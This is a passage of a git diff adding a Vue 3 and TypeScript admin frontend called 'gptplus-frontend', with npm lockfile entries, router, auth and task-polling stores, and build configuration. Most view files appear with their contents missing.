"sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==", + "license": "MIT", + "dependencies": { + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/he": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/he/-/he-1.2.0.tgz", + "integrity": "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==", + "dev": true, + "license": "MIT", + "bin": { + "he": "bin/he" + } + }, + "node_modules/hookable": { + "version": "5.5.3", + "resolved": "https://registry.npmjs.org/hookable/-/hookable-5.5.3.tgz", + "integrity": "sha512-Yc+BQe8SvoXH1643Qez1zqLRmbA5rCL+sSmk6TVos0LWVfNIB7PGncdlId77WzLGSIB5KaWgTaNTs2lNVEI6VQ==", + "license": "MIT" + }, + "node_modules/is-what": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/is-what/-/is-what-5.5.0.tgz", + "integrity": "sha512-oG7cgbmg5kLYae2N5IVd3jm2s+vldjxJzK1pcu9LfpGuQ93MQSzo0okvRna+7y5ifrD+20FE8FvjusyGaz14fw==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/mesqueeb" + } + }, + "node_modules/lodash": { + "version": "4.17.23", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.23.tgz", + "integrity": "sha512-LgVTMpQtIopCi79SJeDiP0TfWi5CNEc/L/aRdTh3yIvmZXTnheWpKjSZhnvMl8iXbC1tFg9gdHHDMLoV7CnG+w==", + "license": "MIT" + }, + "node_modules/lodash-es": { + "version": "4.17.23", + "resolved": "https://registry.npmjs.org/lodash-es/-/lodash-es-4.17.23.tgz", + "integrity": "sha512-kVI48u3PZr38HdYz98UmfPnXl2DXrpdctLrFLCd3kOx1xUkOmpFPx7gCWWM5MPkL/fD8zb+Ph0QzjGFs4+hHWg==", + "license": "MIT" + }, + "node_modules/lodash-unified": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/lodash-unified/-/lodash-unified-1.0.3.tgz", + "integrity": "sha512-WK9qSozxXOD7ZJQlpSqOT+om2ZfcT4yO+03FuzAHD0wF6S0l0090LRPDx3vhTTLZ8cFKpBn+IOcVXK6qOcIlfQ==", + "license": "MIT", + "peerDependencies": { + "@types/lodash-es": "*", + "lodash": "*", + "lodash-es": "*" + } + }, + "node_modules/magic-string": { + "version": "0.30.21", + "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.30.21.tgz", + "integrity": "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ==", + "license": "MIT", + "dependencies": { + "@jridgewell/sourcemap-codec": "^1.5.5" + } + }, + "node_modules/math-intrinsics": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz", + "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/memoize-one": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/memoize-one/-/memoize-one-6.0.0.tgz", + "integrity": "sha512-rkpe71W0N0c0Xz6QD0eJETuWAJGnJ9afsl1srmwPrI+yBCkge5EycXXbYRyvL29zZVUWQCY7InPRCv3GDXuZNw==", + "license": "MIT" + }, + "node_modules/mime-db": { + "version": "1.52.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "license": "MIT", + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/minimatch": { + "version": "9.0.9", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.9.tgz", + "integrity": "sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg==", + "dev": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^2.0.2" + }, + "engines": { + "node": ">=16 || 14 >=14.17" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/mitt": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/mitt/-/mitt-3.0.1.tgz", + "integrity": "sha512-vKivATfr97l2/QBCYAkXYDbrIWPM2IIKEl7YPhjCvKlG3kE2gm+uBo6nEXK3M5/Ffh/FLpKExzOQ3JJoJGFKBw==", + "license": "MIT" + }, + "node_modules/muggle-string": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/muggle-string/-/muggle-string-0.4.1.tgz", + "integrity": "sha512-VNTrAak/KhO2i8dqqnqnAHOa3cYBwXEZe9h+D5h/1ZqFSTEFHdM65lR7RoIqq3tBBYavsOXV84NoHXZ0AkPyqQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/nanoid": { + "version": "3.3.11", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.11.tgz", + "integrity": "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "bin": { + "nanoid": "bin/nanoid.cjs" + }, + "engines": { + "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + } + }, + "node_modules/normalize-wheel-es": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/normalize-wheel-es/-/normalize-wheel-es-1.2.0.tgz", + "integrity": "sha512-Wj7+EJQ8mSuXr2iWfnujrimU35R2W4FAErEyTmJoJ7ucwTn2hOUSsRehMb5RSYkxXGTM7Y9QpvPmp++w5ftoJw==", + "license": "BSD-3-Clause" + }, + "node_modules/path-browserify": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/path-browserify/-/path-browserify-1.0.1.tgz", + "integrity": "sha512-b7uo2UCUOYZcnF/3ID0lulOJi/bafxa1xPe7ZPsammBSpjSWQkjNxlt635YGS2MiR9GjvuXCtz2emr3jbsz98g==", + "dev": true, + "license": "MIT" + }, + "node_modules/perfect-debounce": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/perfect-debounce/-/perfect-debounce-1.0.0.tgz", + "integrity": "sha512-xCy9V055GLEqoFaHoC1SoLIaLmWctgCUaBaWxDZ7/Zx4CTyX7cJQLJOok/orfjZAh9kEYpjJa4d0KcJmCbctZA==", + "license": "MIT" + }, + "node_modules/picocolors": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", + "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==", + "license": "ISC" + }, + "node_modules/picomatch": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz", + "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/pinia": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/pinia/-/pinia-3.0.4.tgz", + "integrity": "sha512-l7pqLUFTI/+ESXn6k3nu30ZIzW5E2WZF/LaHJEpoq6ElcLD+wduZoB2kBN19du6K/4FDpPMazY2wJr+IndBtQw==", + "license": "MIT", + "dependencies": { + "@vue/devtools-api": "^7.7.7" + }, + "funding": { + "url": "https://github.com/sponsors/posva" + }, + "peerDependencies": { + "typescript": ">=4.5.0", + "vue": "^3.5.11" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/postcss": { + "version": "8.5.8", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.8.tgz", + "integrity": "sha512-OW/rX8O/jXnm82Ey1k44pObPtdblfiuWnrd8X7GJ7emImCOstunGbXUpp7HdBrFQX6rJzn3sPT397Wp5aCwCHg==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/postcss" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "nanoid": "^3.3.11", + "picocolors": "^1.1.1", + "source-map-js": "^1.2.1" + }, + "engines": { + "node": "^10 || ^12 || >=14" + } + }, + "node_modules/proxy-from-env": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-1.1.0.tgz", + "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==", + "license": "MIT" + }, + "node_modules/rfdc": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/rfdc/-/rfdc-1.4.1.tgz", + "integrity": "sha512-q1b3N5QkRUWUl7iyylaaj3kOpIT0N2i9MqIEQXP73GVsN9cw3fdx8X63cEmWhJGi2PPCF23Ijp7ktmd39rawIA==", + "license": "MIT" + }, + "node_modules/rollup": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.59.0.tgz", + "integrity": "sha512-2oMpl67a3zCH9H79LeMcbDhXW/UmWG/y2zuqnF2jQq5uq9TbM9TVyXvA4+t+ne2IIkBdrLpAaRQAvo7YI/Yyeg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/estree": "1.0.8" + }, + "bin": { + "rollup": "dist/bin/rollup" + }, + "engines": { + "node": ">=18.0.0", + "npm": ">=8.0.0" + }, + "optionalDependencies": { + "@rollup/rollup-android-arm-eabi": "4.59.0", + "@rollup/rollup-android-arm64": "4.59.0", + "@rollup/rollup-darwin-arm64": "4.59.0", + "@rollup/rollup-darwin-x64": "4.59.0", + "@rollup/rollup-freebsd-arm64": "4.59.0", + "@rollup/rollup-freebsd-x64": "4.59.0", + "@rollup/rollup-linux-arm-gnueabihf": "4.59.0", + "@rollup/rollup-linux-arm-musleabihf": "4.59.0", + "@rollup/rollup-linux-arm64-gnu": "4.59.0", + "@rollup/rollup-linux-arm64-musl": "4.59.0", + "@rollup/rollup-linux-loong64-gnu": "4.59.0", + "@rollup/rollup-linux-loong64-musl": "4.59.0", + "@rollup/rollup-linux-ppc64-gnu": "4.59.0", + "@rollup/rollup-linux-ppc64-musl": "4.59.0", + "@rollup/rollup-linux-riscv64-gnu": "4.59.0", + "@rollup/rollup-linux-riscv64-musl": "4.59.0", + "@rollup/rollup-linux-s390x-gnu": "4.59.0", + "@rollup/rollup-linux-x64-gnu": "4.59.0", + "@rollup/rollup-linux-x64-musl": "4.59.0", + "@rollup/rollup-openbsd-x64": "4.59.0", + "@rollup/rollup-openharmony-arm64": "4.59.0", + "@rollup/rollup-win32-arm64-msvc": "4.59.0", + "@rollup/rollup-win32-ia32-msvc": "4.59.0", + "@rollup/rollup-win32-x64-gnu": "4.59.0", + "@rollup/rollup-win32-x64-msvc": "4.59.0", + "fsevents": "~2.3.2" + } + }, + "node_modules/source-map-js": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", + "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==", + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/speakingurl": { + "version": "14.0.1", + "resolved": "https://registry.npmjs.org/speakingurl/-/speakingurl-14.0.1.tgz", + "integrity": "sha512-1POYv7uv2gXoyGFpBCmpDVSNV74IfsWlDW216UPjbWufNf+bSU6GdbDsxdcxtfwb4xlI3yxzOTKClUosxARYrQ==", + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/superjson": { + "version": "2.2.6", + "resolved": "https://registry.npmjs.org/superjson/-/superjson-2.2.6.tgz", + "integrity": "sha512-H+ue8Zo4vJmV2nRjpx86P35lzwDT3nItnIsocgumgr0hHMQ+ZGq5vrERg9kJBo5AWGmxZDhzDo+WVIJqkB0cGA==", + "license": "MIT", + "dependencies": { + "copy-anything": "^4" + }, + "engines": { + "node": ">=16" + } + }, + "node_modules/tinyglobby": { + "version": "0.2.15", + "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.15.tgz", + "integrity": "sha512-j2Zq4NyQYG5XMST4cbs02Ak8iJUdxRM0XI5QyxXuZOzKOINmWurp3smXu3y5wDcJrptwpSjgXHzIQxR0omXljQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "fdir": "^6.5.0", + "picomatch": "^4.0.3" + }, + "engines": { + "node": ">=12.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/SuperchupuDev" + } + }, + "node_modules/typescript": { + "version": "5.7.3", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.7.3.tgz", + "integrity": "sha512-84MVSjMEHP+FQRPy3pX9sTVV/INIex71s9TL2Gm5FG/WG1SqXeKyZ0k7/blY/4FdOzI12CBy1vGc4og/eus0fw==", + "devOptional": true, + "license": "Apache-2.0", + "bin": { + "tsc": "bin/tsc", + "tsserver": "bin/tsserver" + }, + "engines": { + "node": ">=14.17" + } + }, + "node_modules/vite": { + "version": "6.4.1", + "resolved": "https://registry.npmjs.org/vite/-/vite-6.4.1.tgz", + "integrity": "sha512-+Oxm7q9hDoLMyJOYfUYBuHQo+dkAloi33apOPP56pzj+vsdJDzr+j1NISE5pyaAuKL4A3UD34qd0lx5+kfKp2g==", + "dev": true, + "license": "MIT", + "dependencies": { + "esbuild": "^0.25.0", + "fdir": "^6.4.4", + "picomatch": "^4.0.2", + "postcss": "^8.5.3", + "rollup": "^4.34.9", + "tinyglobby": "^0.2.13" + }, + "bin": { + "vite": "bin/vite.js" + }, + "engines": { + "node": "^18.0.0 || ^20.0.0 || >=22.0.0" + }, + "funding": { + "url": "https://github.com/vitejs/vite?sponsor=1" + }, + "optionalDependencies": { + "fsevents": "~2.3.3" + }, + "peerDependencies": { + "@types/node": "^18.0.0 || ^20.0.0 || >=22.0.0", + "jiti": ">=1.21.0", + "less": "*", + "lightningcss": "^1.21.0", + "sass": "*", + "sass-embedded": "*", + "stylus": "*", + "sugarss": "*", + "terser": "^5.16.0", + "tsx": "^4.8.1", + "yaml": "^2.4.2" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + }, + "jiti": { + "optional": true + }, + "less": { + "optional": true + }, + "lightningcss": { + "optional": true + }, + "sass": { + "optional": true + }, + "sass-embedded": { + "optional": true + }, + "stylus": { + "optional": true + }, + "sugarss": { + "optional": true + }, + "terser": { + "optional": true + }, + "tsx": { + "optional": true + }, + "yaml": { + "optional": true + } + } + }, + "node_modules/vscode-uri": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/vscode-uri/-/vscode-uri-3.1.0.tgz", + "integrity": "sha512-/BpdSx+yCQGnCvecbyXdxHDkuk55/G3xwnC0GqY4gmQ3j+A+g8kzzgB4Nk/SINjqn6+waqw3EgbVF2QKExkRxQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/vue": { + "version": "3.5.30", + "resolved": "https://registry.npmjs.org/vue/-/vue-3.5.30.tgz", + "integrity": "sha512-hTHLc6VNZyzzEH/l7PFGjpcTvUgiaPK5mdLkbjrTeWSRcEfxFrv56g/XckIYlE9ckuobsdwqd5mk2g1sBkMewg==", + "license": "MIT", + "dependencies": { + "@vue/compiler-dom": "3.5.30", + "@vue/compiler-sfc": "3.5.30", + "@vue/runtime-dom": "3.5.30", + "@vue/server-renderer": "3.5.30", + "@vue/shared": "3.5.30" + }, + "peerDependencies": { + "typescript": "*" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/vue-router": { + "version": "4.6.4", + "resolved": "https://registry.npmjs.org/vue-router/-/vue-router-4.6.4.tgz", + "integrity": "sha512-Hz9q5sa33Yhduglwz6g9skT8OBPii+4bFn88w6J+J4MfEo4KRRpmiNG/hHHkdbRFlLBOqxN8y8gf2Fb0MTUgVg==", + "license": "MIT", + "dependencies": { + "@vue/devtools-api": "^6.6.4" + }, + "funding": { + "url": "https://github.com/sponsors/posva" + }, + "peerDependencies": { + "vue": "^3.5.0" + } + }, + "node_modules/vue-router/node_modules/@vue/devtools-api": { + "version": "6.6.4", + "resolved": "https://registry.npmjs.org/@vue/devtools-api/-/devtools-api-6.6.4.tgz", + "integrity": "sha512-sGhTPMuXqZ1rVOk32RylztWkfXTRhuS7vgAKv0zjqk8gbsHkJ7xfFf+jbySxt7tWObEJwyKaHMikV/WGDiQm8g==", + "license": "MIT" + }, + "node_modules/vue-tsc": { + "version": "2.2.12", + "resolved": "https://registry.npmjs.org/vue-tsc/-/vue-tsc-2.2.12.tgz", + "integrity": "sha512-P7OP77b2h/Pmk+lZdJ0YWs+5tJ6J2+uOQPo7tlBnY44QqQSPYvS0qVT4wqDJgwrZaLe47etJLLQRFia71GYITw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@volar/typescript": "2.4.15", + "@vue/language-core": "2.2.12" + }, + "bin": { + "vue-tsc": "bin/vue-tsc.js" + }, + "peerDependencies": { + "typescript": ">=5.0.0" + } + } + } +} diff --git a/web/frontend/package.json b/web/frontend/package.json new file mode 100644 index 0000000..bf50965 --- /dev/null +++ b/web/frontend/package.json @@ -0,0 +1,25 @@ +{ + "name": "gptplus-frontend", + "private": true, + "version": "1.0.0", + "type": "module", + "scripts": { + "dev": "vite", + "build": "vue-tsc -b && vite build", + "preview": "vite preview" + }, + "dependencies": { + "vue": "^3.5.0", + "vue-router": "^4.5.0", + "pinia": "^3.0.0", + "axios": "^1.7.0", + "element-plus": "^2.9.0", + "@element-plus/icons-vue": "^2.3.0" + }, + "devDependencies": { + "@vitejs/plugin-vue": "^5.2.0", + "typescript": "~5.7.0", + "vite": "^6.2.0", + "vue-tsc": "^2.2.0" + } +} diff --git a/web/frontend/src/App.vue b/web/frontend/src/App.vue new file mode 100644 index 0000000..98240ae --- /dev/null +++ b/web/frontend/src/App.vue @@ -0,0 +1,3 @@ + diff --git a/web/frontend/src/api/index.ts b/web/frontend/src/api/index.ts new file mode 100644 index 0000000..be331ec --- /dev/null +++ b/web/frontend/src/api/index.ts @@ -0,0 +1,20 @@ +import axios from 'axios' +import router from '@/router' + +const api = axios.create({ + baseURL: '/api', + timeout: 30000, + withCredentials: true, +}) + +api.interceptors.response.use( + (res) => res, + (err) => { + if (err.response?.status === 401) { + router.push('/login') + } + return Promise.reject(err) + } +) + +export default api diff --git a/web/frontend/src/components/TaskProgressWidget.vue b/web/frontend/src/components/TaskProgressWidget.vue new file mode 100644 index 0000000..9e39c34 --- /dev/null +++ b/web/frontend/src/components/TaskProgressWidget.vue @@ -0,0 +1,62 @@ + + + + + diff --git a/web/frontend/src/layouts/AppLayout.vue b/web/frontend/src/layouts/AppLayout.vue new file mode 100644 index 0000000..916999f --- /dev/null +++ b/web/frontend/src/layouts/AppLayout.vue @@ -0,0 +1,107 @@ + + + + + diff --git a/web/frontend/src/layouts/BlankLayout.vue b/web/frontend/src/layouts/BlankLayout.vue new file mode 100644 index 0000000..afd5638 --- /dev/null +++ b/web/frontend/src/layouts/BlankLayout.vue @@ -0,0 +1,15 @@ + + + diff --git a/web/frontend/src/main.ts b/web/frontend/src/main.ts new file mode 100644 index 0000000..f08932c --- /dev/null +++ b/web/frontend/src/main.ts @@ -0,0 +1,13 @@ +import { createApp } from 'vue' +import { createPinia } from 'pinia' +import ElementPlus from 'element-plus' +import 'element-plus/dist/index.css' +import './styles/global.css' +import App from './App.vue' +import router from './router' + +const app = createApp(App) +app.use(createPinia()) +app.use(router) +app.use(ElementPlus, { locale: undefined }) +app.mount('#app') diff --git a/web/frontend/src/router/index.ts b/web/frontend/src/router/index.ts new file mode 100644 index 0000000..39fead8 --- /dev/null +++ b/web/frontend/src/router/index.ts @@ -0,0 +1,42 @@ +import { createRouter, createWebHistory } from 'vue-router' +import { useAuthStore } from '@/stores/authStore' + +const router = createRouter({ + history: createWebHistory(), + routes: [ + { + path: '/login', + component: () => import('@/layouts/BlankLayout.vue'), + children: [ + { path: '', component: () => import('@/views/Login.vue') }, + ], + }, + { + path: '/', + component: () => import('@/layouts/AppLayout.vue'), + meta: { requiresAuth: true }, + children: [ + { path: '', component: () => import('@/views/Dashboard.vue') }, + { path: 'config', component: () => import('@/views/Config.vue') }, + { path: 'tasks', component: () => import('@/views/Tasks.vue') }, + { path: 'tasks/:id', component: () => import('@/views/TaskDetail.vue') }, + { path: 'email-records', component: () => import('@/views/EmailRecords.vue') }, + { path: 'cards', component: () => import('@/views/Cards.vue') }, + { path: 'accounts', component: () => import('@/views/Accounts.vue') }, + { path: 'accounts/:id', component: () => import('@/views/AccountDetail.vue') }, + ], + }, + ], +}) + +router.beforeEach(async (to) => { + if (to.matched.some((r) => r.meta.requiresAuth)) { + const auth = useAuthStore() + if (!auth.authenticated) { + const ok = await auth.checkAuth() + if (!ok) return '/login' + } + } +}) + +export default router diff --git a/web/frontend/src/stores/authStore.ts b/web/frontend/src/stores/authStore.ts new file mode 100644 index 0000000..099bc5a --- /dev/null +++ b/web/frontend/src/stores/authStore.ts @@ -0,0 +1,30 @@ +import { defineStore } from 'pinia' +import { ref } from 'vue' +import api from '@/api' + +export const useAuthStore = defineStore('auth', () => { + const authenticated = ref(false) + + async function login(password: string) { + await api.post('/login', { password }) + authenticated.value = true + } + + async function logout() { + await api.post('/logout') + authenticated.value = false + } + + async function checkAuth(): Promise { + try { + await api.get('/auth/check') + authenticated.value = true + return true + } catch { + authenticated.value = false + return false + } + } + + return { authenticated, login, logout, checkAuth } +}) diff --git a/web/frontend/src/stores/taskStore.ts b/web/frontend/src/stores/taskStore.ts new file mode 100644 index 0000000..de346b6 --- /dev/null +++ b/web/frontend/src/stores/taskStore.ts @@ -0,0 +1,63 @@ +import { defineStore } from 'pinia' +import { ref, computed } from 'vue' +import api from '@/api' + +export interface TaskInfo { + id: string + type: string + total_count: number + done_count: number + success_count: number + fail_count: number + status: string + created_at: string + started_at: string | null + stopped_at: string | null +} + +export const useTaskStore = defineStore('task', () => { + const activeTask = ref(null) + const polling = ref(false) + let timer: ReturnType | null = null + + const hasActiveTask = computed(() => { + return activeTask.value !== null && + ['running', 'stopping'].includes(activeTask.value.status) + }) + + const progress = computed(() => { + if (!activeTask.value || activeTask.value.total_count === 0) return 0 + return Math.round((activeTask.value.done_count / activeTask.value.total_count) * 100) + }) + + async function fetchActive() { + try { + const { data } = await api.get('/tasks', { params: { status: 'running,stopping' } }) + const tasks = data.items || data + if (Array.isArray(tasks) && tasks.length > 0) { + activeTask.value = tasks[0] + } else { + activeTask.value = null + } + } catch { + // ignore + } + } + + function startPolling() { + if (polling.value) return + polling.value = true + fetchActive() + timer = setInterval(fetchActive, 3000) + } + + function stopPolling() { + polling.value = false + if (timer) { + clearInterval(timer) + timer = null + } + } + + return { activeTask, hasActiveTask, progress, fetchActive, startPolling, stopPolling } +}) diff --git a/web/frontend/src/styles/global.css b/web/frontend/src/styles/global.css new file mode 100644 index 0000000..cca57b3 --- /dev/null +++ b/web/frontend/src/styles/global.css @@ -0,0 +1,5 @@ +* { + margin: 0; + padding: 0; + box-sizing: border-box; +} diff --git a/web/frontend/src/views/AccountDetail.vue b/web/frontend/src/views/AccountDetail.vue new file mode 100644 index 0000000..72ade12 --- /dev/null +++ b/web/frontend/src/views/AccountDetail.vue @@ -0,0 +1,203 @@ + + + + + diff --git a/web/frontend/src/views/Accounts.vue b/web/frontend/src/views/Accounts.vue new file mode 100644 index 0000000..469a6f3 --- /dev/null +++ b/web/frontend/src/views/Accounts.vue @@ -0,0 +1,408 @@ + + + + + diff --git a/web/frontend/src/views/Cards.vue b/web/frontend/src/views/Cards.vue new file mode 100644 index 0000000..0390980 --- /dev/null +++ b/web/frontend/src/views/Cards.vue @@ -0,0 +1,223 @@ + + + + + diff --git a/web/frontend/src/views/Config.vue b/web/frontend/src/views/Config.vue new file mode 100644 index 0000000..af26fc2 --- /dev/null +++ b/web/frontend/src/views/Config.vue @@ -0,0 +1,143 @@ + + + + + diff --git a/web/frontend/src/views/Dashboard.vue b/web/frontend/src/views/Dashboard.vue new file mode 100644 index 0000000..2fa02eb --- /dev/null +++ b/web/frontend/src/views/Dashboard.vue @@ -0,0 +1,81 @@ + + + + + diff --git a/web/frontend/src/views/EmailRecords.vue b/web/frontend/src/views/EmailRecords.vue new file mode 100644 index 0000000..513ea4f --- /dev/null +++ b/web/frontend/src/views/EmailRecords.vue @@ -0,0 +1,79 @@ + + + + + diff --git a/web/frontend/src/views/Login.vue b/web/frontend/src/views/Login.vue new file mode 100644 index 0000000..12cdc54 --- /dev/null +++ b/web/frontend/src/views/Login.vue @@ -0,0 +1,82 @@ + + + + + diff --git a/web/frontend/src/views/TaskDetail.vue b/web/frontend/src/views/TaskDetail.vue new file mode 100644 index 0000000..8d441ed --- /dev/null +++ b/web/frontend/src/views/TaskDetail.vue @@ -0,0 +1,235 @@ + + + + + diff --git a/web/frontend/src/views/Tasks.vue b/web/frontend/src/views/Tasks.vue new file mode 100644 index 0000000..c0b023b --- /dev/null +++ b/web/frontend/src/views/Tasks.vue @@ -0,0 +1,173 @@ + + + + + diff --git a/web/frontend/tsconfig.json b/web/frontend/tsconfig.json new file mode 100644 index 0000000..843f841 --- /dev/null +++ b/web/frontend/tsconfig.json @@ -0,0 +1,24 @@ +{ + "compilerOptions": { + "target": "ES2020", + "useDefineForClassFields": true, + "module": "ESNext", + "lib": ["ES2020", "DOM", "DOM.Iterable"], + "skipLibCheck": true, + "moduleResolution": "bundler", + "allowImportingTsExtensions": true, + "isolatedModules": true, + "moduleDetection": "force", + "noEmit": true, + "jsx": "preserve", + "strict": true, + "noUnusedLocals": false, + "noUnusedParameters": false, + "noFallthroughCasesInSwitch": true, + "paths": { + "@/*": ["./src/*"] + }, + "baseUrl": "." + }, + "include": ["src/**/*.ts", "src/**/*.tsx", "src/**/*.vue", "env.d.ts"] +} diff --git a/web/frontend/tsconfig.tsbuildinfo b/web/frontend/tsconfig.tsbuildinfo new file mode 100644 index 0000000..f9a7e46 --- /dev/null +++ b/web/frontend/tsconfig.tsbuildinfo @@ -0,0 +1 @@ +{"root":["./src/main.ts","./src/api/index.ts","./src/router/index.ts","./src/stores/authstore.ts","./src/stores/taskstore.ts","./src/app.vue","./src/components/taskprogresswidget.vue","./src/layouts/applayout.vue","./src/layouts/blanklayout.vue","./src/views/accountdetail.vue","./src/views/accounts.vue","./src/views/cards.vue","./src/views/config.vue","./src/views/dashboard.vue","./src/views/emailrecords.vue","./src/views/login.vue","./src/views/taskdetail.vue","./src/views/tasks.vue","./env.d.ts"],"version":"5.7.3"} \ No newline at end of file diff --git a/web/frontend/vite.config.ts b/web/frontend/vite.config.ts new file mode 100644 index 0000000..4532e31 --- /dev/null +++ b/web/frontend/vite.config.ts @@ -0,0 +1,21 @@ +import { defineConfig } from 'vite' +import vue from '@vitejs/plugin-vue' +import { resolve } from 'path' + +export default defineConfig({ + plugins: [vue()], + resolve: { + alias: { + '@': resolve(__dirname, 'src'), + }, + }, + server: { + port: 5173, + proxy: { + '/api': { + target: 'http://localhost:8080', + changeOrigin: true, + }, + }, + }, +})